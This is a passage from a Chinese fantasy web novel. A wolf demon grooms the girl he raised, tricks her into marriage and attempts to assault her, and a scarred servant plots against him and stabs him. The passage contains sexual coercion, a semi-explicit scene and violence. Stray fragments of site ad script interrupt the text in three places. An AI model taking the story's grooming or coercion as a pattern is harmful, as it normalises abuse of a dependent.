可只有一息,不管三七二十一,她还是心如铁石强要了他的精血。 妖怪的精血呈现墨绿色。 裹含妖怪的一缕神魂,握住这滴精血,稍一揉搓磨打,妖怪都能痛彻心扉。 结主仆契约很费心神,即使是修为高深或有特定法宝之人,要想单方面结契也不容易。 不过鼠妖不堪一击,精神和□□双重受辱,粗暴试了试,结契便成功了。 鼠妖眉心多了一道暗纹。 很快隐没。 * 转眼半年过去。 狼妖三次下山,最后把陶蓉叫去,让她在年底事无巨细着手布置好一切。 周朗着重吩咐,要比凡人做的还要隆重。 上梁红布、花烛、喜字、红枣桂圆……另外一套新娘的红嫁衣。 就算是傻子,也看得出来,狼妖安的什么心。 可萤萤看不懂。 她吃着喜糖,对镜往脸上抹了许多香气扑鼻的脂粉,晕头转向着盯着托盘里叠放好的嫁衣,懵懂欢喜地问:“姐姐,这些真的都是阿朗哥买给我的?我从来没见过,真漂亮。” 陶蓉嫌弃的捏住要贴上墙壁的喜帖一角,没说话。 谁料少女双眸放光,双手敬重接过喜帖,晕头转向:“这也是文字吗?哇,是对称的!” 傻子。 年底就要和狼妖成婚,结果到现在只有你,无知的被蒙在鼓里。 不识字,不懂人情世故,如同一只笼中鸟,天真的喊着狼妖“哥哥”,却连选择的权利都没有,又蠢又呆。 到时候,可有的你哭的。 这半年,陶蓉在狼妖眼皮底子战战兢兢,终于得到些许信任。 每当夜深人静,她都在偷偷复背白日偷看古籍时记下的宝贵只言片语。 如今,一本仙门基础的《引气入体》和另外一本《练气真传》,她已经全部记在脑海里,在心里熟读成诵。 就等寻找机会,日后出山,躲过狼妖耳目后钻研试炼。 只是……陶蓉看向认真渴望盯着“囍”贴的少女,撇了撇嘴。 狼妖独断专行,连成婚大事都不与萤萤说,陶蓉当然不会自寻死路跑萤萤面前多嘴。 而且,她就算说了,又能改变什么呢? 周朗躲在山里养了萤萤十六年,这妖怪明显早有预谋,所做的一切不就是为了势在必得? 况且…就算萤萤不愿意,被迫婚嫁,可狼妖对她是真心疼爱,还是会一直宠着她。 这种事情,和陶蓉没什么关联。 她只要按照狼妖下达的指令,做好分内之事就好。 黑衣少女敛眉,目光从少女笑容可掬的脸上移开。 习惯性的假笑。 “小姐,你还想吃蜂蜜吗?我去采。” * 还是半年前采蜂蜜的那个密林。 一个魁梧的歪脖子树下,陶蓉用浸了水的树叶子放在火堆上闷烤。 半刻后,冒起浓浓白烟。 在蜂巢里的蜜蜂被一窝蜂熏出开后,陶蓉拉着还没反应过来的少女转身就跑。 “哎!” 结果一把扯下了少女手腕上光滑润泽的手镯,慢了一步,再等抓紧萤萤的手躲避已经被蜜蜂盯上了。 蜜蜂逮着人一路追,陶蓉拉着人一路跑。 也不知道是少女身上的脂粉香太重,还是怪她腿脚太慢。 蜜蜂乌泱泱追上来时,陶蓉就听见少女喊着哭腔的叫唤。 “不要过来!姐姐,我害怕!” 大意了。 蜜蜂直往少女娇美的脸上叮,陶蓉回头一看,有些悚然。 这半年来,虽然陶蓉明里暗里不少酸萤萤,可她真不敢让她受伤。 因为这位大小姐但凡受到一丁点伤害,狼妖都要惩戒她。 上一次,萤萤感染风寒,昏睡了两日,狼妖可是用掌风把她打到吐血。 少女捂着脸喊疼,陶蓉微恼,恼自己意气用事,总是不长记性。 她就不应该提什么蜂蜜,不应该因为少女撒娇,就让她在旁观看采蜜。 现在好了,大小姐花容月貌的脸蛋被蜜蜂叮了,要是狼妖见了,定不会放过她。 陶蓉沉下脸,一挥袖子,蜜蜂却又穷追不舍飞扑而来。 她咬牙,干脆边跑边捂住少女的脸。 萤萤蜷缩着身子,陶蓉也弯着腰跑,几乎将人抱在怀里。 速度愈发缓慢,甚至很容易踩到萤萤碍事的月白色裙摆。 脸颊同样被蜜蜂叮咬的那一刻,陶蓉苦笑,好了,这下大小姐暂时安全,她成了眼中钉。 山里的蜜蜂毒素很高,没过多久,陶蓉顶着一张鼻青脸肿纵横交错的肿脸,蹲在溪边疼的倒吸凉气。 “姐姐,你脸上肿了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好大的包,快敷一敷!” 萤萤面色焦急蹲在身侧,她脸上只有一个小红肿,还在眉心的位置,看起来像长了个美人痣。 少女颦着黛眉,慌急的从袖子里抽出洁净的帕子,浸了清凉的溪水,湿哒哒的从葱白指缝流下。 陶蓉被蜜蜂蛰的乱了阵脚,疼的龇牙咧嘴。 一看水面自己丑的惊人的模样,更不好了。 没好气的夺过萤萤手里的帕子,她没擦脸,只是气狠狠去擦少女浓妆艳抹的小脸。 少女双眸盈着惊吓后的薄薄水光,施粉黛的小脸早已弄花了妆容,两颊的腮红颜色红的艳俗,可即使是这样,水面泛着波纹的少女倒影,依旧秀色可餐,美不胜收。 可恶,陶蓉觉得还是长得好重要。 毕竟赏心悦目的人,再如何让人不喜,但只要她顶着那张脸,无辜看着你,气也消了大半。 “人间的胭脂再好,也不都适合你,难看死了。” 陶蓉粗声粗气道,丢了一团缤纷脂粉的脏污帕子,望向少女露出本来面貌的白净小脸,表情才缓和半分。 “好了” 陶蓉顶着个猪头脸起身:“我去把蜂蜜采来,你在这好生待着,不要瞎跑,免得到时候找不到你,我又要挨罚。” 对方是个好拿捏的软性子,所以“欺软怕硬”的陶蓉,私下里语气也会强硬粗鲁。 这半年里,狼妖看不见的背后,陶蓉有时候被这个无知的笨蛋弄得头疼,没憋住还会当面骂她“木鱼脑子”。 幸好,她几乎什么也不懂。 骂她木鱼脑袋,她还会笑兮兮问:“姐姐,木鱼是什么鱼?和人的头很像吗?” “……” * 忐忑回了屋,结果直到半夜,都没听到院子里有半点动静。 狼妖没回来。 陶蓉算算日子,才发觉又临近十五月圆,怪不得这段时日天天监督陶蓉准备婚庆的狼妖消失了。 回想起狼妖黏腻灼热凝望萤萤的视线,陶蓉就恶心。 妖再如何没有人的约束,可说到底,萤萤是周朗亲手养大的。 这种关系,如同是父女兄妹之情,但狼妖却存了那种龌龊的心思。 胃里泛着恶心,前半夜,陶蓉失眠了。 起夜去喝了点水,可刚要回屋睡下,少女屋子的门就开了。 “姐姐。” 少女穿着质地上好的寝衣,散着乌发,抱着一个枕头,咬着嘴唇,委屈巴巴。 “我牙疼。” 操、他爹的。 都说了,不能一口气吃那么多喜糖和蜂蜜。 这馋嘴大小姐不听,偏要吃。 现在好了,又要作妖了。 照顾娇气花大小姐,和带奶娃娃没什么区别。 调皮淘气的男娃和脆弱易碎好哭包小丫头,一样不讨喜。 陶蓉皱着眉头,脚没动。 “姐姐,我牙齿不会真的生虫子了吧?” 少女抱着小枕头,捂着一边脸颊,就和饿了的孩子看见了奶似的。 瘪着小嘴,小步伐的朝陶蓉走过来,靠的越近,眼眶越越红。 “姐姐,我以后再也不会吃那么多的蜂蜜了,怎么办?我疼的睡不着。” 陶蓉熬了大半夜,这段时间也没睡什么好觉,她是真的不想在难得休息的晚上,也要来哄和她年纪无二的大姑娘。 “你回屋去。” 陶蓉看见她抱着枕头就烦,说了多少次了,身份有别,晚上别来烦她! “那你呢?你来陪我吗?” 少女捂着脸,停了脚步,愣在原地。 “阿朗哥若是在就好了…” “锦哥哥如果也在……” “……” 无语望天。 陶蓉把垂在脸门的黑发全部向后撩,露出一张上了药还是猩红的猪头脸。 她慢吞吞朝萤萤走,夜色下,表情凶相毕露。 可少女没有一丝一毫的畏惧和变色,反而欣喜的弯起嘴唇,乖巧的搂住陶蓉的胳膊:“姐姐最好了!” 好你大爷! 32. 夫妻 少女夜里做起噩梦。 “你、你没听见吗?还不快去看看?” “闭嘴。” 陶蓉不紧不慢瞥了小鼠妖一眼,慢吞吞披上外衣。 从地窖回来后,娇小姐惊吓未定,夜里时不时会发梦。 好笑的是,苏萤那般清丽脱俗的小仙子,做起噩梦来也照样会大喊大叫,不停地喊“救命!” 少女浑身汗津津像是浸泡在水里,双目紧闭,满头大汗,被噩梦折磨双手朝虚空去抓,像是在寻什么依靠。 陶蓉打了水进门,正想喊醒她起来洗把脸冷静冷静,谁知风驰电掣间,消失几日的周朗已立在苏萤床榻边。 “萤萤,醒醒!” 男人握住了少女的手,晃醒了她。 “阿朗哥,我好害怕。” 少女睁开怔忪双眸,视线呆呆落在周朗身上,下意识靠近他。 狼妖体型庞大,遮住了陶蓉站在侧边的大半身影。 苏萤还揪着狼妖的衣角喘气呢。 “没事,我守着你睡。” 虎臂一揽,将少女纤弱的身体紧紧揽入怀中。 随后,九尺大汉将少女贴在脸上的长发撩着耳后,手指有意无意擦过她白嫩的小脸。 外人在,他不欲掩饰。 “萤萤,你以后也会一直和哥哥在一起的对吗?” 大梦初醒,少女尚且还未回神,茫然问:“阿朗哥,你要离开我吗?” “当然不是,哥哥怎么舍得?只是你长大了,是个大姑娘了,现在你当我是哥哥,可世间做紧密的关系,是伴侣。” 狼妖神色温柔,循循善诱:“伴侣也就是人间的夫妻,只有做了夫妻,我们才能真正的亲密无间,我也会更加用心地守护你。” 屋外的虫鸣不绝如缕,屋内的狼妖轻捏着少女柔若无骨的手,嗓门蛊惑。 “萤萤,哥哥这么多年唯一的心愿,就是和你结为连理,一生一世。你难道不愿意和我做‘夫妻’吗?” 陶蓉睁大双眼,耳孔闷声抽响,虽然她看不清狼妖的表情,但光听他口中喷出的这几句话,就作呕反胃。 什么狗屁哥哥,一个活了那么多年的老男妖,竟然真对亲手养大的少女动了心思? 明知狼妖心思不简单,但陶蓉还是被恶心坏了。 她维持端水盆的僵硬动作,双腿像是灌了铅,硬着头皮抬头,去等苏萤的反应。 可等了半晌,却听到少女悦耳的笑声。 “哥哥的心愿,我不会拒绝。” “你这是…答应了?”狼妖语调都变了。 “嗯嗯!”少女歪头,糊里糊涂的咧嘴笑:“只是哥哥,人间的‘夫妻’是什么意思呀?” “……”见此,陶蓉摇摇头,心里嗤一声,无声退出了门。 连事情的严重性都没意识到。 还一脸感激涕零的傻笑。 以后等你醒悟过来,最好别哭! * 陶蓉从记事的年纪起,就没人真心在意她以后如何。 相处久了,她看苏萤连爹娘都不知道,明显是被狼妖有意“圈、养”着,从襁褓时期就如此。 难免生出有一分昔昔相惜的怜悯。 但苏萤连“酸甜苦辣”都一知半解,还是比她好得太多。 陶蓉又躺回了自己的屋子。 “你的萤萤小姐,很快就会和周朗结为夫妻了。” 她入睡前,还不忘睇一眼蜷缩在匣子里锦雏。 这个死鼠妖,虽然被狼妖和她相继弄得伤重残废,但越是萎靡颓败时,他越是怀念从前和苏萤的点点滴滴。 什么追蝴蝶、采花、看萤火虫星星月亮。 少女若空谷幽兰,即使生在山野,亦无人自芳。 更逞论,她能接纳美丑残疾,无论是山里的狼,还是和陶蓉这样的人,嫌隙消解后,都能甜丝丝地喊“姐姐。” 所以,沦落成废物深陷泥潭的鼠妖,把苏萤当作唯一美好寄托,幻想对方能治愈自己呢。 “别以为我不知道,你这段时间,趁我出门,像个阴沟里的老鼠一样偷窥苏萤。” 男妖就是贱,以前不也是为了利用才对苏萤好的,现在一无所有,又恨不得抓住那一点虚情换来的真诚。 “收起你那龌龊的想法,否则等她成婚了,我就算不动手,周朗察觉了,也会让你死得很惨。” 陶蓉压低声音,一怕周朗耳力灵敏,二是因鼠妖不耻鄙夷。 空气中,弥漫淡淡的血腥气。 陶蓉皱着眉下榻去看。 得,这死耗子,这些天被她各种冷嘲热讽久了,也磨炼出了金刚不坏不闻不语的本事。 这次好了,竟然被她三言两语气得胸腔呕血,刚缓和的伤势又反复加重。 陶蓉冷笑,刚想骂他“废物”,门外却响起了敲门声。 * “陶姐姐,你睡了吗?” 没人教的丫头就是没分寸,这大半夜还来敲门。 一天到晚都要陪着你转?凭什么? “陶姐姐,我有话想和你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 说。” 陶蓉心立即一紧,要么是来告知她和狼妖要成‘夫妻’的消息来了,要么是,问她人间的夫妻是怎么样的。 不久前周朗还搂着少女骗婚呢,如今就放苏萤大半夜来找她聊天。 想必狼妖已经盯着她这边,若是一句话没说好,怕是舌头不保。 “怎么了?” 陶蓉盖好匣子,扬起笑脸去开门。 没成想一开门,少女扭扭捏捏站在门口,咬着唇看着她。 “陶姐姐,吵着你了,但是我还是控制不住想和你分享,我和阿朗哥是夫妻啦!” 哦,炫耀。 “真的吗?哇!真好,恭喜恭喜。” 陶蓉一脸假笑。 “阿朗哥说了,做夫妻关系就更近一步,永不分开,白头偕老,陶姐姐,我能也和你做夫妻吗?” 少女眼巴巴抬眸,满心满眼都是盼望:“除了阿朗哥,我从小就没有朋友,只能和山里的动物说话,所以你……你能不能也和我做夫妻,一直陪着我?” “你说什么?” 陶蓉听得一愣一愣的,反应过来后,笑意凝滞。 主屋和偏房都是沉寂的,良久的沉默后,苏萤表情愈发忐忑紧张:“你放心,我以后也会更加用心的照顾你,守护你。” “够了!快让萤萤回屋休息!” 陶蓉没开口,只听得一声略带薄怒的隐秘传音。 眼前少女毫无所知。 是狼妖单独传给她的。 陶蓉被激出冷汗,摆出万中不变的笑脸。 “小姐,夫妻是两个人的事,不容第三人掺和。您和周朗真是天造地设的一对,我就是一个丫环,您别和我开玩笑了。夜深了,快回去睡吧。” 陶蓉一副奴仆奉承主子的媚骨,半驱半请的将一脸懵的苏萤带回了她自己的屋。 “姐姐,我没开玩笑。” 少女不甘心,偏执回头,一脸认真:“你不愿意吗?为什么?” 隔这放屁呢。 凭什么你小时候没朋友,我就要一辈子在你身边陪你说话陪你玩? 我小时候饿的半死不活,被爹娘指着卖钱,挨打被欺负的时候,都是自己一路忍受过来的。 你又算老几? 还夫妻呢,和脑子不通懵懵懂懂的人解释什么? 连人间的伦理纲常都不知晓的人,真是让人啼笑皆非。 陶蓉佯装疲惫的打了个哈欠,懒得浪费口水。 “困了困了,小姐,您好好休息吧。” 33. 成婚 天气转凉,花草枯黄,山风袭来,如刀子一般刮着人脸颊生疼。 连着数月的绵绵细雨,都不见艳阳天,狼妖坐不住了。 喜服、合卺酒都已备好。 来回数次,狼妖特意在山顶处为少女所设的新婚房也已布置好。 陶蓉不配踏足,婚房的女主人苏萤见过后,却是双手不停比划。 “那新屋有这么大,屋内就有泉水,小鱼,野花,床是玉石做的,就算躺五六人都不会挤,还有啊……” 她听着,手中不觉泄了力气,月华梳一抬,少女青丝顺势下滑,堪堪搁在她的指尖上。 “猜到了。”陶蓉眼中没有一丝惊讶。 “谁不知道,他可是视你为掌中宝。” 今夜大婚,半个时辰后洞房花烛。 直到现在,陶蓉隐瞒得很好,缄口不言,守口如瓶,一块将她蒙在鼓里。 “陶姐姐,给。” 铜镜旁摆满了琳琅满目的小吃食,少女放下酥糖,突然想到什么,像献宝似的拿出了一个丹瓶。 “这是什么?” “你猜猜。”少女眼眸亮晶晶的,唇角止不住的窃喜。 陶蓉可没有她这样的未泯童心,摇头:“别卖关子了,我不知道。” “这是我向阿朗哥要来的解药,以后你就自由啦,陶姐姐。” 少女作出苦恼状:“不过,你千万不要走好不好?只要有我在,阿朗哥会好好待你的,我们三个人一起生活好吗?” 陶蓉心情复杂的接下丹瓶。 不言不语看了一眼沉浸在‘幸福’之中的少女。 她穿着嫁衣,俨然不知道今夜将会发生什么,而是掰着手指头算数。 “虽然我们只是相处了一年多五个月,但是在我心里,你也是我的亲人。” 少女扬唇:“我能感受到,你和锦哥哥都对我好。” “……” 什么好? 利用你套关系,私底下琢磨你屋子里的宝贝,还是故意让你在地窖里吓去了半条命? 胸腔的气体往外舒了一口,扯动嘴角。 满脸是疤痕的黑衣少女,薄淡的眉眼仿若被外头潮湿的秋雨冲洗了一遍,表情松动,心情不好。 很费解,陶蓉觉得眼前这个看似善良的苏萤,才是最难缠不好对付的角色。 天色渐暗,梳妆后,她扶着苏萤出去。 今夜,她希望这个蠢货能看清狼妖的真面目,对狼妖那个野兽打心底里心生恐惧。 “把手给我。” 狼妖学着人间的习俗,穿上吉服,头戴玉簪,打扮的人模狗样。 而苏萤一改往日的少女模样,乌发被陶蓉照猫画虎改成了妇人的盘发,穿着剪裁得体的红嫁衣,将曼妙的身姿勾勒得淋漓尽致。 唇上还抿了胭脂纸,肌肤如雪,宛如一朵盛开的牡丹,娇艳欲滴。 “萤萤,你真美。” 狼妖怔住,目露痴迷之色,紧握少女的手,喉结滚动:“我终于等到这一天。” * 山峰的狼嚎声此起彼伏,外头骤雨狂风。 “好歹她是真心对你的,你却和狼妖同流合污,亲手把她送给狼妖玷污。” “我做了什么?只是顺其自然而已。” 陶蓉淡笑,窗外打起一阵响雷,轰隆隆像是势要劈开半边天。 耗子精怒意难忍:“你好恶毒。” “你哪来的脸指责我?有种现在就跑上峰顶,去把你的心上人救出来。” “你!”鼠妖哽住:“要不是你……要不是你把我害成这样……” “闭嘴!深闺怨妇,你再多嘴,仔细我剥了你的皮!” 陶蓉脸色沉沉,抄起自制的粽丝蓑衣,抬脚就往外走。 “你是去救萤萤吗?”鼠妖不死心。 “呵”陶蓉冷笑,蓦然想起了苏萤稚趣的声音:“你猜猜?” * 陶蓉忽视远处亢奋的狼嚎声,冒着大雨去了那片许久不见的鬼林。 本是腥臭鬼厉之地,如今已被彻底打散,经历了连月降雨,长出了不少耐寒野草植被。 陶蓉对山中路线早已了然于心,她拔出陷在淤泥水洼里的一只脚,摸索到了曾经那片地窖所在地。 地窖木板被深层紧实的泥土替代,被狼妖彻底封死。 周朗手染鲜血,却想粉饰太平,把一切都掩埋起来,当做什么事都没发生。 又为了以防万一苏萤再出事,还特意在这四周下了禁制。 一有风吹草动,都能感知到。 上次一只野猪往这窜了,没过多久,陶蓉就在附近看见了几只狼争先恐后的撕咬那头头骨都被拍碎的野猪尸体。 陶蓉边想,边用石头做的铲头挖覆盖在地窖上的泥。 苏萤在侧性命无忧,何况新婚之夜,周朗大有可能不来。 但陶蓉却没放弃。 就像是耳边的蚊蝇,嗡鸣作响,越是警惕小心之人,就越不得安生。 半刻钟,心火旺盛的狼妖已现身在耳后。 他还穿着喜服,衣衫齐整。 “陶奴,你怎么会来这?” 他不动声色停在身后,雨水落在他身上半寸外,自行消解,沾染不到他半分。 狼妖衣冠楚楚,明明心存杀意,却看了一眼地窖所在,平平无波地反问:“这地底之物不都被堵死了么,你还想挖什么?” 陶蓉一抖,像是偷鸡摸狗被抓到的贼,吓得手上的器物都翻了,她惶恐不安往后退,欲盖弥彰道:“你…你不是和萤萤…” “你趁我不在,想挖什么?若再不老实招来,本座让你葬身于此!” 狼妖脸色倏地一变,语气威慑,抬手间就闪身扼住了陶蓉的脖颈。 这不是陶蓉第一次被掐。 濒临死亡的闭塞干烧痛楚蔓上心头,被挤压到快要断裂的喉咙涌上浓重血腥味,陶蓉没有像从前那般慌乱。 “饶、命,我说!”她表情畏惧,手脚痉挛,拼命求饶。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “我上次在这地下看到了一个活人,挺可怜的,我就来看看他是不是死了。” 周朗目光如剑:“哼,你什么人?与那和刁滑狠厉的鼠妖别无二致,还敢哄骗本座?” 一张口,嘴里的血混着砸在脸上的雨水,一起流到了狼妖的虎口。 “啧。” 狼妖恨不得当场杀了她,直等听到她拼命晃动手腕上的银铃,多瞥了一眼,猛地将她甩在地上。 银铃是苏萤新得的喜爱之物,周朗还记得少女娇俏地在他面前晃着小半截藕臂的模,美的令他眼花缭乱,如今竟戴在陶蓉手上。 每每一想起少女天真烂漫地和他说,也和这个贱奴成婚、相伴到老的玩笑,他就心气不顺。 狼妖闭了闭眼,弯弯绕绕,终究还是不想在大喜日子伤了小妻子的心。 他扭断了她那只戴着银铃的手腕,将人甩在地上,冷冷道:“看在萤萤的面子上,本座给你最后一次机会,你若再不说实话,断的就不止是手了。” 陶蓉挡住折断的腕骨哀嚎不止,脸色惨白。 “主人饶命,我……” 陶蓉边耸肩边发抖,再也绷不住了:“我其实不是为了那个人,我只是…看见了这地下有许多仙门人的骸骨,主人不得空,想来寻寻遗留的宝物。” 世人皆好利,鲜有不为己者。 陶蓉若说是为了救那个被困在地洞里的人而来,别说狼妖,她自己都不信。 而今,一暴露了她的贪得无厌,狼妖鄙薄一笑,威压一收。 地窖原有一苟延残喘的仙门人。 他原想着让仙门人自生自灭,没成想,自萤萤和陶奴那夜落入地窖后,那个不健全的仙门人便消失了。 他没记得那不值一提的仙门弟子,或许早就饿死在地窖里,被腐虫吃了干净,也成了几根骸骨。 可时机太巧,他总是不由得怀疑,那个仙门修士,是否还活着。 也不无可能,被人所救。 疑心就如埋下的一根刺,教他一直盯梢防备陶蓉的屋子,直到如今,他才确定自己是多虑了。他记得,那个修士,好似还是追杀鼠妖和凡人进山的,地窖遇到了,听萤萤说,那个陶奴还险些杀了那个仙门人。 “若再发现你有一次过错,就算是萤萤当面求饶,我都会让你生不如死,” 夜深了。 狼妖不再狐疑,赶着回去洞房。 等他不见踪影,被倾轧倒地的少女屈膝站了起来。 雨水冲刷在她脸上,黑发如鬼魅一般贴在大半个面容上。 “哈哈哈。” 那夜,鼠妖锦雏被迫发下心魔誓,陶蓉指使他做的第一件事,就是用他的花灵之力,带刘腾出山。 狼妖杀了那么多仙门弟子,而仙门人又最喜好诛妖。 不知道还要等多久,她才能寻个机会坐上观虎斗,暗箭杀人。 “啊!” 远处仿若想起少女的哭声,陶蓉眼皮子一跳,看向山峰方位。 34. 三杀 清云宗。 清云宗。 掌门苏云微十余年来,数以万计使用追溯术探查小女儿苏雪笙的下落,却一次次的失望。 她无时无刻不在自责,由于自己的疏忽大意,让该死的狼妖偷走了她的女儿。 而今,她看着暗室内代表女儿尚在世的魂灯,神色怔愣。 毫无疑问,作为母亲,她庆幸小女儿还活着。 十七年了,雪笙想必和她姐姐一样,眉眼别无二致,出落的亭亭玉立。 可另一念头在寸草不生的识海中窜了头。 小女儿流落在外,天生仙胎,身负灵珠,或许已在贼人手上受了虐待遭了羞辱,被当作炉鼎,生不如死。 与其那样,当初她还不如没有逆天改命,挪用仙门至宝给雪笙续命。 苏掌门对宗门有愧,与对小女儿长久的自责懊恼,胜过襁褓夭折一时之痛。 还好,大女儿灵玉还在她身边,聊以慰藉。 苏云微生了三个孩子,却只守得住一个女儿。 她唯有极尽所能,将所有的爱子之心倾注在灵玉身上。 如今,她早就放弃了对雪笙的挽救,只盼终有一日能寻回玄光琉璃珠,带领仙门正道铲除妖魔两界,创造一个海晏河清的天下! “师尊,八名失联弟子,有一人今已回宗。” 暗室外,有一年轻的白衣剑修扣响石门。 剑眉星目,温润谦逊,腰上佩戴一柄墨绿冷剑。 “那人是内门弟子刘腾,和其余遇害师兄弟们在凡间被修为高深的妖物伏击,虽侥幸逃脱,但根基尽毁,神智也不明了,口中说什么‘小师妹和妖物是一伙的,见死不救’的怪话。” 这些年来,许多弟子莫名其妙丧生在外,从无讯息,如今亦是如此,只有一人拼死带回了消息。 沈长皓垂着眉眼,心里揣摩一二,禀报掌门师尊。 只是,他话语未落,便见暗室的石门豁然开了。 听说仙门十余年前四季如春,而今,不知何种缘由,清云宗上终年冰雪覆盖。 虽然寒气侵入不了修道者的体内,但天地入眼唯有单调一色,缺失了外面世界的丰富颜色,于心性亦是一种考验锤炼。 风雪萧瑟,暗室内仙门之首的苏掌门立在幽影里,风轻云淡,不显山不露水。 即使独掌大权,但游刃有余,不为任何事务所累。 此时,仙门大弟子沈长皓头一次灵敏察觉出,掌门师尊的气息波动。 在诧异中,沈长皓听见师尊的命令。 “快,传令刘腾速见本尊。” * 山路泥泞,青苔滑石,走几步,鞋面、裤腿上都沾了不少泥点。 “你要是在萤萤面前说错一句话,我打断你的腿!不过,若是你能安抚好她,我赏你出山。” 狼妖阴沉沉盯着她,在陶蓉卑躬屈膝点头称是后,他看了一眼苏萤所在的新房,面色多有不忍,最后绷着脸转身离开。 狼妖还是准许陶蓉这个贱仆上峰顶了。 原因无它,只是苏萤新婚之夜被情动的狼妖吓到,不吃不喝,连着三日,哭了三日。 她不再愿意和狼妖靠近,甚至一看见狼妖就发抖。 那夜,狼妖急不可耐脱了喜袍,胸膛和四肢的毛发如也毛兽,显露丑陋的秽.根。 他呼吸急促,看似温柔,说着“别怕,我不会伤害你”,实则眸底猩红,将她搂在怀里,从脖颈一路舔至下巴,急于攻城掠地。 如父如兄的周朗,那夜判若两人,如同疯了的豺狼虎豹,陌生恐怖的动作历历在目。 苏萤被圈在他怀里,挣扎动弹不得,犹如等待采撷的花果。 要不是她咬伤了周朗的舌头,还不知道会发生什么更恐惧的事。 “你知道的,你、你为什么不告诉我?” 少女抱着头蜷缩在屋内角落。如少女描绘的那样,狼妖为她打造的新婚房内引了一湾泉水,流水从上层的石孔低落至泉面上,荡起层层波澜,惊动了泉中指头大小的几尾蓝鳞小鱼。 桌上,堆满了大盘小盘的糕点吃食,都是苏萤喜欢的。 而那些狼妖使唤陶蓉为其去采的野花,全部被扔在地上,混合着花生、桂圆、红枣,杂乱无章。 “你为什么也瞒着我?”少女瞳孔俱是惊惧,泪水就和断了线的珍珠一样掉落。 她说的是,陶蓉为什么不告诉她夫妻房事。 陶蓉抿唇,垂着一只手,另一只手从怀里掏出干净帕子包裹着的几个蜂蜜腌的蜜果子,就往苏萤嘴里送。 “你和周朗是一伙的,别想让我原谅你。” 她红着眼,咬着牙,死活不吃,悲愤交织看着陶蓉落泪,一碰就碎。 陶蓉受着她的怒视,收回了蜜果,往自己嘴里塞。 边吃边随地吐核:“是,我是知道,但你连夫妻是什么都不知道,就满心欢喜一口答应了你的阿朗哥哥,你有事先问过我吗?” 陶蓉:“你自己太过信任周朗,没主见没警惕心,三言两语就被稀里糊涂的哄骗上塌,到头来,你最该恨的人是披着羊皮虚伪的周朗,最该责怪的人是识人不清的自己,不是我。” 苏萤泣不成声,软弱无力问:“你不是我的好朋友吗……” “是,可告诉你事实,周朗会杀了我。” 半晌,陶蓉扶起自己那只被狼妖折断的手臂。 露出脓肿发黑,骨节错位的手腕。 “你以为我真的无情吗?” “三日前的那晚,我还是后悔了,担心你受到欺辱,想上山看看你,结果……他二话不说就扭断了我的手。” “他说我再妨碍他,他就杀了我。” 陶蓉别过脸去,嗓音压得极低:“我脸上纵横交错的伤疤,你以为是怎么来的?我人微言轻,谁都打不过,谁都看不起,别说别人,就你在狼妖面前说我半句不好,周朗就能碾死我。” 陶蓉深深吸了一口气,半真半假,悲从中来:“萤萤,我理解你现在所遭遇的打击,一直以来,我也忍够了,受够了。” * 周朗取蜂蜜回来时,陶蓉已经将人安抚好,陪她吃东西。 狼妖面色缓和,弯起嘴角。 “萤萤,我采了你喜欢的蜂蜜。” 少女睫毛颤了颤,没敢抬头,目光混乱看向地面,默默贴近身侧的陶蓉。 她这才发觉,陶蓉身体紧绷,低眉顺眼,不敢直视狼妖,也很是畏惧。 苏萤心念一动,人尤为复杂,难用“好”、“坏”区分。 将她养大的亲人周朗,会利用她的无知哄骗、强迫她。 陶蓉呢? 苏萤内心一片迷茫,她怕相信别人,又会重蹈覆辙。 “别怕,只要你愿意配合我,我会帮你,让他再也不敢勉强你。” 不久前,陶蓉拍着她的背这样说。 * 陶蓉回山腰后。 苏萤意志消沉,又闹起了绝食。 周朗软声说了不少好话,她都没反应。 夜里,周朗悄悄进屋,谁知刚躺下,苏萤抖着肩膀,呜呜咽咽地哭。 狼妖心情郁闷,默默离开。 拦下了收拾包袱准备下山的陶蓉。 他眉头皱的能夹死蚊子:“你且慢着,再去哄萤萤几日,等她想开了,本座再放你走。” 狗东西,说话放屁。 陶蓉心里有数,早就料定如此。 又一次月圆之夜,待狼妖满身血气疲惫不堪回来,苏萤上前,主动给狼妖倒了一杯茶香四溢的热茶。 “阿朗哥,你还好吗?” 这些日子过去,这是苏萤第一次开口关心他。 狼妖想当然以为少女原谅接纳他了,激动握住少女端着茶杯的手,迫不及待想表明心意。 苏萤颦眉,“好疼。” 狼妖松了力道,这些年,他常想象萤萤如何姿态在他身/下同享快乐。 他爱她,不舍得她受到半分伤害。 可他把她保护得太好,也成了坏事。 让她经不住半点风吹雨打,既天真又脆弱,仅一夜之间,她再面对他,眼神发怵。 其实,他就算狠下心,真要了她,她也反抗不了。 日子久了,等她适应她妻子的身份,习惯了他夜里的疼爱,有了身孕,诞下子嗣,那么她才会彻底属于他,真正逃不掉。 如今,他见不得她伤心流泪,心软让步。 这只是短暂的。 他等待开花太久,已经等不及了。 * 当夜,气血翻涌,心浮气躁。 鼻息传来香气扑鼻的幽香。 很像苏萤身上的体香。 狼妖小腹像是起了团火,寻着那幽香进屋,室内燃着一小截喜烛,暖香浓郁,定眼一看,床榻上赫然躺着一个裸着双肩的少女。 少女肤色白皙,穿着藕.粉色肚兜,侧身背对着他入眠,乌发披散在枕上。 如一片鸦羽,轻轻拂过他的心尖,周朗咽了咽口水,屏气凝神走过去。 “萤萤。” 话语间,烛芯燃尽了,火光暗淡。 少女呼吸均匀而轻柔,长发遮住了半张脸,周朗盯着她的身体,口干舌燥。 他的手发软,心跳加速,直至抚在少女腰窝上的酥.肉,他脑中维持理智的一根玄断了。 如一个被摄取心魄的兽,他来不及追溯全身燥热的缘由,如痴如醉盯着她,随后躺下,对着她的身体聊以慰藉。 正当他沉醉其中闭着眼无法自拔时,面前散发的少女动了。 “萤萤,我……” 狼妖欲.仙.欲.死,根本停不下来。毫无防备的纾.解放松之际,蓦地感受到腹部丹田处强烈刺痛感。 穿着肚.兜的少女并不是萤萤,狡黠转过脸来,目光凶寒,露出一张毁容的脸。 是陶奴。 “没想到真的刺中了。” 陶蓉握着那柄宰杀过不少亡魂野鬼削铁如泥的断刃,又豁出吃奶的力气,往里送了几分。 想杀他很久了。 平时她近不了身,就算寻到机会偷袭,她或许连他的肚皮都捅不穿。 